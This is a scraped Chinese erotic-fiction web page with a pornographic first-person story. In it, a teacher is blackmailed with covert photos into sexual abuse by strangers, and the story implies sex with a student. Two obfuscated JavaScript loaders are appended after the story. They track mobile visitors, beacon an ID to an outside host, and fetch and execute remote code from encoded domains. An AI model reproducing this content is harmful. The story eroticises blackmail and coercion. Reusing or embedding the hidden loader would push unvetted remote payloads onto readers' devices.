图片载入中

淫奴教师

特大字】 【大字】 【中字】 【小字

我叫张婷婷,今年22岁,是个小型私立学校的教师。我的相貌还是很漂亮的,166 的个头,三围却

有36,23, 36.特别是E 罩杯的乳房,更始惹得不少男人冒火,追求我的男人也很多,但我还是单身。

因为我有一项不为人知的嗜好——SM. 不知道为什么,我常常幻想着自己被许多男人肆意奸淫凌辱,任

他们粗暴地蹂躏我的巨乳,用粗壮的大肉棒干我的小穴和屁眼。也许是我太淫荡了吧。以前交过几个男

友,都无法满足我,只好分手。

当然平时在外面我会穿得很端庄的,因为我的职业是教师,H 市男子私立中学教师,所以我平时会

是一副正经的样子,虽然常常在没收到班上男生看的色情书刊时忍不住心跳加速,但至少我还能强板着

一张脸教训他们。

“唔……好舒服……嗯……哦……哦……”我一手用力揉捏着自己的乳房,一手不断扣弄着自己的

淫穴,VCD 机里还放着激情的色情电影。没错,我在手淫,我是个淫荡的女人,这样的手淫是我每天的

必需品。

“唔……啊……啊……啊……”我的动作越来越激烈,两根手指深深插入阴道中抠弄,揉捏乳房的

手也渐渐加重力度。但我的小穴却越来越痒,手指已经满足不了了,“真想……插入……大肉棒……哦

……哦……”对了!黄瓜!我想起早上买的黄瓜还没吃,忙找了出来,黄瓜足有三个手指粗,瓜身上还

有一粒粒突起,我看得淫水猛流,忙将稍细的一头对着自己的穴口,轻轻推进去。

“哦……好……好粗……啊……”我一边抽动黄瓜,一边幻想自己正被人猛干着。黄瓜在满是淫水

的阴道里抽动,发出“噗兹噗兹”的声音,我越抽动越快,终于,我泻身了,身体不停颤抖着,享受着

这高潮的快乐……

第二天休假,睡得挺晚的,已经八点多了,爬起来洗梳一翻后,决定去买份早餐。

回来时看门的老头递给我一个邮包,我回到家拆开一看,大吃一惊,手中的早餐也掉落在地上。足

足有一叠相片,全是我平常手淫时的“艳照”,每一张都清晰无比,其中还有几张正是昨天晚上的,照

片上的我两腿大张,粗大的黄瓜深深插在阴道里,样子淫荡无比。还带有一副玩具手铐,一个黑色眼罩。

信封里还有一张纸条,让我立刻打一个电话,否则照片暴光。我当然只能照做,电话通了,是一个

男声。

“你,你想怎么样?”

“哦,你是那个淫贱女吧?嘿嘿,告诉你,以后要按我的话去做,否则后果自负!不过反正你也是

个贱货,也没什么关系吧?”

“啊,我……”我竟有一些兴奋,我的确很下贱啊,“你,你想怎么样?”

“我?哈哈哈……我当然想满足你的变态欲望啊!”电话那头传来一阵大笑,可以听出决不是一个

人的笑声,“听好了,明天晚上12点,一个人来北郊公园,到动物园的那个公共厕所,带上你的黄瓜和

手铐和眼罩,按我说的做。”

说完电话就挂了,我呆立了良久,心里竟莫名地兴奋,最后决定按他说的做。

第二天晚上。

北郊公园的一个公共厕所,男厕里面一片漆黑。如果这时候有人来开灯的话,里面的景象一定让他

吃惊或是兴奋不已——一个戴着眼罩的美女跪在最深处的小便池边,一副手铐穿过上方的水管拷住了女

人的双手,女人的下身插着一根粗大的黄瓜,全身只有红色的吊带丝袜和高跟鞋,两颗丰满挺立的巨大

乳房暴露在空气中轻轻起伏着。

没错,这个女人就是我,张婷婷。我按照电话里那人的吩咐,已经这个样子等了十几分钟,这种暴

露的刺激和下身插入却不会动的黄瓜,让我的小穴淫痒难耐。我没有手铐的钥匙,要是那人不来……或

是来的是别人……后果就不堪设想了。我这么想着,又过了一段时间,也不知道是几点了。

我听到有开灯的声音!本能地抬起头来,却因为眼罩的关系什么也看不到,我感到一阵恐慌。

“哈哈……我就说了吧,这女人根本就是个贱货,一定会照办的。哈哈。”是那个电话里的声音,

同时还有几个不同的声音在笑。因为声音太杂,根本分不清有几个人。

“我只想拿回那些照片!”女性的矜持让我这么说出口。

“靠……哈哈……你还以为自己是淑女啊?想想你现在的模样吧。”另一个声音叫道。紧接着就是

一阵脚步声,应该是两个人,朝我走过来。我可以感觉到他们就在身边了。这时候,一只手伸过来在我

的脸上轻轻抚摩着。

“别……别过来,你想干什么!”我叫起来。

就在这时候那只手一个响亮的耳光甩在我脸上,“贱货!也不看看你现在是什么情况,想让更多人

来轮奸你吗?给我安静点!”

我当然不想,只好闭上嘴。这下耳光竟让我有种兴奋,多年来的被虐待狂血液好象稍微得到了满足,

乳头微微挺立起来。

这一反应让另一个男人注意到了,他用手指夹住我的乳头,向外拉扯,微小的痛楚只让我更加兴奋,

两边乳头迅速充血变大变硬了。两个男人都笑了:“操,这贱货乳头都硬起来了,还嘴硬啊!”

两人说着,开始分别玩弄我的身体。一个人把两手都放到我的乳房上,用力挤压揉捏它们,我能感

觉到自己引以为豪的硕大乳房在男人双手的肆意玩弄下,不断变换淫靡的形状,同时阵阵快感也从乳房

迅速向全身蔓延。我情不自禁地微微扭动腰肢,迎合男人的动作,唿吸声也越来越粗。

“嘿嘿,发情了啊。”一个男人说着,把手伸到我的下体,扶住因为我淫水的湿润几乎滑下的黄瓜,

将其又插回我阴道深处,开始慢慢地抽动。男人边做边问道:“怎么样啊?刚刚还装淑女啊,这么多淫

水,根本就是个荡货嘛。”

嗯……唔……”上下两处的快感让我不由得哼哼起来。两个男人又是一阵大笑。

“啊……啊……呵……呵……”玩我乳房的男人改变了玩法,他分别捏住我的两个乳头,用力地拉

扯,又扭又拧,这粗鲁的玩法让我双乳的快感更剧烈,电流一样传遍了全身。同时玩下身的男人也加快

了黄瓜抽动的速度,黄瓜快速地进进出出,每一下都直顶到我身子的最深处。

“啊……啊……不……不要……哦……好……好爽……啊……不……不行了……啊……”我再也忍

不住了,开始发出阵阵淫荡的叫声。

“这就忍不住了吗?贱货,是不是想被干了啊?”一个男人大声问道。

同时我感觉到自己右乳头被狠狠地拉扯起来,“啪”的一声,左乳房也被抽了一巴掌,感到火辣辣

的痛。

我再也忍耐不住内心的欲望,说:“是……啊……我……我想被干……哦……给我……”

玩弄下身的男人这时候竟突然把黄瓜抽了出去,巨大的空虚感让我的下身痒痒难耐。我的身子也随

着向前挺出,这个动作落在男人眼里一定淫荡极了。又是“啪”的一声,我的右边乳房也挨了一下。

“靠,给我好好说清楚,想要什么啊。”

“哦……想……想要大鸡巴……大肉棒……啊……我想被男人干……被大肉棒干……哦……哦……

快……”我已经没了羞耻,大声说。

“哈哈……真是贱货啊,来,好好服侍我们的肉棒,一会就干得你合不拢腿!”

很快,我就感觉到两根发烫的、散发着独特腥味的肉棒贴到我脸上,在我的嘴角不断摩擦着。我毫

不犹豫地含住一根,细细地舔弄。先用舌头清理了一遍上边小便留下的垢污,然后深深地含入,舌头在

龟头上打着转。过了一会,嘴里的肉棒抽了出去,另一根马上放了进来,我也来者不拒地舔弄。就这样,

两个男人轮流享受我的口交服务,我舔弄一个的肉棒时另一个就玩弄我的乳房或是下体。

“很好,贱货,现在让我来试试你的小穴吧,嘿嘿。”口交了一段时间,起先玩弄我下身的男人说

道,“站起来,荡货。”

我乖乖起立,但双手依旧拷在水管上不能动,眼睛也依旧蒙着,我按照男人的命令岔开两腿,弯腰

伏下身去,直到脸几乎贴到小便池中为止。这样的姿势让我肥白的翘臀以及淫汁横流的小穴呈现在男人

面前。而多年不曾冲洗的小便池中的骚味不断往我鼻子里钻,刺激着我的变态欲望。

两个男人并不着急,用火热的肉棒在我的屁股上、阴道边缘慢慢摩擦。这不但不能解决我下体的淫

痒,反而使阴道深处象有千万只蚂蚁在爬一样,我就快被这样的欲火折磨疯掉了,完全放弃了抵抗,而

是不知羞耻地摇动自己的屁股,同时叫道:“不……不要……折磨我了……哦……哦……快……快插进

来……干我……啊……啊……”

“嘿嘿,怎么,刚才还是很贞洁的啊?现在就扭着屁股求我们了?”一个声音说着。

“啊……我……我不是淑女……哦……我……我是……下流的贱货……啊……我……想要大肉棒干

……啊……啊……求……求求你们……怎样都可以……干我……啊……快点干死我吧……哦…………”

我快要崩溃了!大声说。

“错!你不是贱货,而是一只淫荡的母狗,天生就是被男人干的,是不是?说。”

“对……我……我是淫荡的母狗……天生……就是被男人干的……我喜欢……被大肉棒……大鸡巴

……狠狠地……奸淫……啊……啊……”

“哈哈,很好,记得你今天说的话哦,这是奖赏你的!”一个男人说。

接着我就感觉到一个人的龟头顶在我的阴道口,狠狠地插进来了!我空虚的阴道立刻得到巨大的满

足,那男人的肉棒的确很粗壮,我的小穴被撑到最大,才勉强容纳下这么大的肉棒。他的抽插也是几乎

次次都刺入我体内的最深处,有好几次都几乎顶进子宫了。我也配合着他,扭动我的屁股。

“唔,好紧的贱穴,好会扭的屁股!”那男人称赞了一句,他像打桩机一样,一下又一下地奸淫我

的淫穴,同时手也不闲着,不时地伸到前面来揉捏我的巨乳,又或是虐待试地打我屁股,“噼啪噼啪”

的声音就在着无人的肮脏厕所回响。我还听到有相机拍照的声音,看来我淫荡的摸样已经在他们的掌控

之下,但这已经不重要了,我已经沉沦在这巨大的快感之中。

“啊……啊……好……好爽……哦……顶到……子宫了……哦……再……再用力……对……啊……

要……要泄了……啊……我忍不住了……啊……啊……”在这样强烈的快感下,我没有多久就达到了第

一次高潮!

那男人又抽动了一会就拔了出去,这时另一个男人就立刻上来,接着干我。然后另一个人又拍照。

我的高潮几乎没有停过,淫水不断地被男人的肉棒带出来,顺着我的大腿一直流到脚跟处!我还能感觉

到自己硕大的乳房像是两个吊锺一样,不断地随着男人的抽插摇摆。

我已经顾不得是在个公共厕所中了,嘴里胡乱地叫着:“好……哦……用力……狠狠地干我……啊

……啊……干我的小穴……哦……好……我……爱大肉棒……啊……干死我吧……啊……啊……哈……

哈……捏我的乳房……啊……啊……用力……哦……又……又高潮了……啊……啊…………”

两个男人轮流交换着奸淫我,这样男人总是在将要射精时拔出,换个人缓一口气,以便更持久地奸

淫我的身体。这样不间断的性交却让我一直在高潮的颠峰,主动权完全被两个男人控制了。我已经记不

得在自己体内的是哪一根肉棒了。高潮了好几次,已经不记得了。我完全被这种淫荡的快感包围了……

后来两个男人分别射在我的双乳上,然后给我戴上胸罩,让他们的精液和我的乳房一起被包裹起来。

接着又拍了几张照片,才把手铐的钥匙交到我手里。

起先打电话的那男人叮嘱说:“贱货,这胸罩今天你戴好。要记住刚刚你求我们的时候说过的话哦,

乖乖听我们的话啊,嘿嘿,我会再打电话给你的,知道没?”

我痴痴地点点头,身心都还沉浸在刚刚的快感之中。整个人像一摊软肉似的软软地靠着小便池坐在

地上,过了好一会儿,我才有力气把手铐解开把眼罩摘下来。那两个人估计已经走远了,我看见自己的

下身一片狼籍,地板都被我的淫水打湿了一大片。脑子里又浮现出刚刚自己说自己是母狗一类话的情景,

羞愧之中竟还有种莫名的兴奋。

被不同的男人肆意奸淫蹂躏,被他们当作犯贱下流的好色母狗来对待,再加上各种各样的羞辱……

我静静地想,这不正是我心中的欲望吗?我情不自禁地把手伸进胸罩里,摸了一些男人流下的精液,放

进嘴里细细品尝。咸咸的、有股特别的腥臭味,心想果然淫荡的确是自己的本质啊。

天快亮了,我草草收拾了一下自己,蹒跚地走出了这个厕所,趁着没多少人注意到我这副摸样的时

候,赶紧回家

“是……”我无法拒绝,或者说我已经有些喜欢上这样的感觉了?我乖乖地走到窗口前,等候着他

的指示。

“好,真乖。把衣服脱了,快些。”

“是。”任何反抗都是无效的,我惟有照做。我很快地脱下身上的所有衣物,把他们放在一边,现

在,我赤身裸体地站在窗口前,巨大的落地窗映出我的身体,娇好的曲线让我自己都有些迷醉,但是它

现在却是一个陌生男人的玩物……又让我羞愧不已。

“嘿嘿,真漂亮!”电话那头男人称赞道,接着,说:“骚货,现在给我坐下来张开腿,我要看到

你的骚穴和屁眼!好好检查你!”

“好……好的……”我回答着,同时按他说的,坐在地上,两脚呈M 字分开,尽力挺起我的腰,把

阴户和屁股都亮出来,这一切也由玻璃窗反射在我眼里,这样的姿势,实在是太淫荡了,尤其是我的屁

眼里还伸出一个小拉环,而阴户,我也要尽力收紧,才能保持里面的高原的精液不会流出来,但还是有

奸淫的痕。

“嘿嘿,你的骚穴果真有干过的痕啊,阴唇还有点发红呢,哦?还有写字啊!欠干的骚货,淫荡的

母狗。哈哈,还真是下贱啊!怎样,和学生干的滋味爽不爽啊?”那个人下流地问道。

“我……我……不知道……”我无法回答这样的问题。

“是吗?那多叫几个学生去奸你你才知道是不是?”

“不!千万不要那样!我……我……我觉得……很爽……”我大吃一惊,如果他说的是真的,那后

果……真的不堪设想了。

“哈哈哈,就是嘛,爽就要说出来啊,因你是骚货嘛,一个臭婊子,被人干当然会爽啦,是不是啊?”

那个人不依不饶地说。

“这……是……”我的声音开始变小,因这样的问题,还是会感到羞耻啊。

“你那学生射在你哪里了?”

“是……在……在阴户里……”

“哦?那你没有尝到他精液的味道啊,多可惜啊。”那头像是在沈思着,没有出声,而我也不敢乱

动,一会,他说:“你今天买回来什东西?”

“啊?哦,是小笼包和烧鸡翅,是我的晚餐。”我不知道他什突然问这个,但是也一五一十地回答,

不敢有一点怠慢。

“哦,哈哈,那正好啊!”那人发出一阵笑声,说:“好了,你去把买的东西都拿过来,吃给我看!”

什会这要求?我不理解,但是还是照做了。我把食物都拿了过来,拆开包装盒,正准备吃,突然那

人又发话了:“等等,嘿嘿,没有佐料怎好吃啊?贱货,你的骚穴里一定还有精液吧?给我把包子塞进

里面去!”

“啊?!”我失声叫出来,这……这太变态了!

“叫什!这不正是最适合你的佐料,臭婊子,哈哈,快点做!”那男人命令道。

“这……这……好……好的……”我想说什,但是最后还是屈服了,我终于还是没有向那个人反抗

的勇气和能力,或许也是心甘情愿,我愿意成他的奴仆……

我拿起一个小笼包,另一只手把自己的大阴唇尽量分开,接着把手上的包子往阴道里塞入。虽然小

笼包大约有三个手指粗细的直径,但是毕竟是柔软的,而且经过高原的大肉棒的奸淫,我的阴道也有些

松了,加上精液和油的润滑,所以还是很顺利地进去了。

“哦,做得好,接着放,直到我说停止!”那男人说。

“好……好的……”我别无选择,只能依他说的做。很快的,又一个小笼包消失在我的阴道里。已

经渐渐感觉到满涨了……我的阴道,可以感觉到里面的精液和小笼包浸泡在了一起……

“再一个!”那个男人似乎没有停止的意思。

我只好又拿起一个包子,往阴户里塞,这次已经有些困难了,我可以感觉得到阴道里那重无法表述

的满涨感,也是一种满足感,包子已经凉了,那种油腻的感觉让我的阴道根本容不住它们,几次都要滑

出来了,而里面原有的精液也被挤了一些出来,流到地板上。

“嘿嘿,感觉不错吧?你这淫妇,这可是你最喜欢的食物啊,好了取出来吃了它!”那个男人又命

令道。

像这个命令我倒是毫无拒绝的心理,小笼包没费什力,几乎是自己滑了出来,上面沾满了浓白的精

液,但是,的确,这对于我这样的淫荡女人来说,的确是很合口味。我把一个包子放进嘴里,精液的味

道立刻弥漫着我的感官,对此我是很享受的,眼前似乎又出现了下午高原奸淫我的情景……已经又忍不

住湿了……

不错,嘿嘿。”那个人看着我把三个小笼包都吃完,又让我如法炮制,把剩下的都这先塞进阴道里

沾满精液,再拿出来吃掉。两笼小笼包吃完,我居然感到身子发热脸上发烫,这吃自己阴道里的精液,

让我有快感!

“我操啊,你这贱货,这吃也会有快感啊?是不是?”

“是……是……”我感到口干舌燥,回答道。

“别急,还有烧鸡翅呢,嘿嘿,这次把烧鸡翅塞进屁眼里,再塞进你的骚穴,然后吃!”那个男人

淫亵地笑着说,“给你多加点料啊,哈哈……”

“屁……屁眼……可是……会受不了……”我越说越小声,我知道,自己的身子也在期待这样的虐

待啊!

“我干,你还给我装啊!你屁眼连这大的珠子都塞得下还有什好说吗?快点,我可要上传你的精彩

照片了!”那个男人恶声说。

“不……不要,我……我照做就是了……”我连忙答道。

按照他的吩咐,我找来个坐垫垫在我屁股底下,两腿大大分开,让自己的屁眼和阴户都充分暴露在

窗口前,然后一点一点地把肛门珠拉了出来,这个过程让我本来就敏感的屁眼感受到了充分的快感。接

着,把手上的烧鸡翅小心翼翼地往屁眼里塞。鸡翅本来就是扁形的东西,加上有油汁的润滑也不算太难

进入,但上面凹凸不平的颗粒和骨头却不断摩擦着肛门,感觉又痒又兴奋。

“对!好婊子,做得很好!把前端都塞进去,很好,自己拿住那尾巴,在屁股里好好搅动一下,这

样会更加美味的!嘿嘿……”那个男人一边欣赏这淫乱的景色一边指示我怎做。

“是……”我捏住鸡翅尾部,左右转动。“哦……”这真是奇妙的感受,奇形怪状的摩擦带来的快

感,让我不由自主地呻吟出声来,阴户也不禁夹紧,一些精液竟被挤了出来。这时那个男人又说:“哈

哈,很爽是吧?精液可不能浪费啊,再用一个把你的浪穴塞上,知道吗骚婊子!”

“好……好的……”阴户经过了小笼包的开发,很容易就吞下了一个鸡翅。接着那男人又让我同时

搅动两根鸡翅,让它们同时摩擦我的阴户和屁眼,那种感觉,是双倍的羞耻和快感!几乎让我高潮!

然后,那男人又让我把两根鸡翅调换位置,屁眼里的那根进了我的阴道,而原先在阴道里的塞进了

肛门,这样交换搅动了一会,再拿出来的时候,原本香气四溢的烧鸡翅已经变成了腥臭扑鼻,散发一股

古怪作呕的味道。白色的精液和黄褐色的污秽物混合附着在上面,但是我想现在情欲高涨的我,真的更

适合这样的食物吧。不用那男人吩咐,自己就已经津津有味地吃起刚刚蹂躏过自己肛门和阴户的鸡翅了。

“哈哈……我果然没有看错啊,你这女人就是下贱!合胃口了吧?接着吃!”

“是……嗯……”那股怪味成了我的催情剂,反而越吃越香,剩下的几根鸡翅也自觉的如法炮制地

吃掉了,而阴道里的精液竟也陆陆续续被我弄干净了,只是阴道和屁眼都油腻腻的,有些不舒服的感觉。

那个人安静地看着我的淫荡表现,并不说话。等到我吃完了,才又听见了他的指示:“骚货,用你

吃剩下的骨头,自己高潮给我看!”

“好的……”我已经学会听从了。驯服地拣起那些骨头,让它们重新进入我的阴道和肛门里,有了

油的润滑,骨头在体内进进出出并不困难了,但是它们在阴道里和屁眼里的摩擦还是不断刺激着我的感

觉,“啊……啊……好……好舒服……唔……唔……”

“哈哈……妈的,奶子大的女人就是下贱啊!老师又怎样,长得漂亮又怎样!还不是乖乖地和骨头

做爱!再给我用力啊,婊子!你不是很想高潮吗!”那个男人大声说。

“是……啊!……哦……哦……快……快到了……哦……”我的手似乎已经不属于自己,竟听从那

男人的加大了力气,以至感觉到有些痛了,但是随之而来的被虐待的快感和被窥视的兴奋感立刻淹没了

痛苦,我已经接近身体欲望的颠峰了!

“左手捏自己的奶子!右手给我转屁眼里的骨头!快!”

“是!……唔……哦……”男人的指令,我一一照做,手上甚至没有因是自己的身体而减少力道,

疼痛和快感同时由乳房和下身传开来,我已经身不由己了!我真的快这高潮了!

“再用力!臭婊子!用力拧自己的奶头,干自己的穴!”

“啊!啊!……不……不行了……真的……高……高潮了……“

“高潮吧!贱货!”那男人大吼一声,似乎他那边也射精了似的。但是不论怎样,我是真真切切达

到了高潮,我的身体不住痉挛着,大量的淫水在下身泛滥,地板都已经完全被打湿了……但是自己已经

完全沈浸在这样的高潮中,无法自拔了,更懒得起来清理屋子,我竟然就这躺在自己的淫水里,沈沈地

睡了下去……

等到第二天我醒过来,才发现自己的淫穴和肛门里,仍然插着那些带着肉渣的骨头,两颗自豪的巨

乳因用力捏拧而留下了淡淡的淤青。昨晚上的淫水已经干了,留下大片的痕和一股骚味,是否昨晚因兴

奋而失禁了?我不得而知,回想起了昨天的淫荡的滋味,只觉得自己下身又有些湿了。

已经是7点整了,我把昨晚没挂好的电话挂上,然后去洗手间整理一下自己,准备去上班。

“铃铃……”是电话!我才惊觉过来,那个人……

“喂?”

“嘿嘿,是我啊,昨天够舒服了吧?”果然……又是那个人。

“是……很……很舒服。”不知道什,尽管难以齿,我还是照实向他说了,心里还明显地有这一种

想法:我要服从这个男人。

“很好!今天你可以穿正经一些去上班了,但是,我要你把手机调成震动,用套子套住然后放进你

的浪穴里!还有把号码告诉我。”

“这……你要什时候打?”我已经不是那反抗了,但是这样的要求,却有些担心,万一要是学生们

发现了……怎办?

“这个就看我的兴趣了,嘿嘿,你有选择的权利吗?”男人加重了语气。

“不……我……做就是了……”我立刻软了下来。只是那男人却不依不饶,喝道:“你有选择的权

利吗!?”

“我……我……没……没有……”我声音越来越低,我感到心虚,我还妄想着人师表吗?还想像正

常人一样吗?我……我是由他支配的……还有……什选择权呢?

“哼哼,知道就好!你记住了,你就是一头淫贱的母狗,以后就听我的去做!要问什,就是你自己

奶大下贱,欠人干欠人玩,你就是一个性玩具,懂了没有?!”那个男人口气决绝地说,一点也容不得

我有什反抗。

“我……我……这……”这样羞辱的语言,我似乎一下子不能适应,但是,心里的什地方,好象被

触碰到了一样,竟有强烈的共鸣!我回想起自己的种种,是,我不正是这渴望的,渴望被奸淫,渴望下

贱的生活和男人的调教……

“是……我记住了……”我不由得脱口而出回答道。

“很好!好了,照我说的做!”“是……”……

就这样,我走在大街上,整齐的工作服,还有公事包,谁都可以看得出来,这是一个白领或是教师

一类的人物。但是,在不人知的筒裙下面,我的阴道里,竟然变态地塞进了一只手机,一只随时震动让

我流出淫水的手机。我知道,自己变了,以前隐秘的欲望被那个人慢慢地发觉出来,变态的教师生涯,

正在开始……【完】


上一篇:和学姊在研究室ㄉ激情

下一篇:【超色大唐】【完】


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};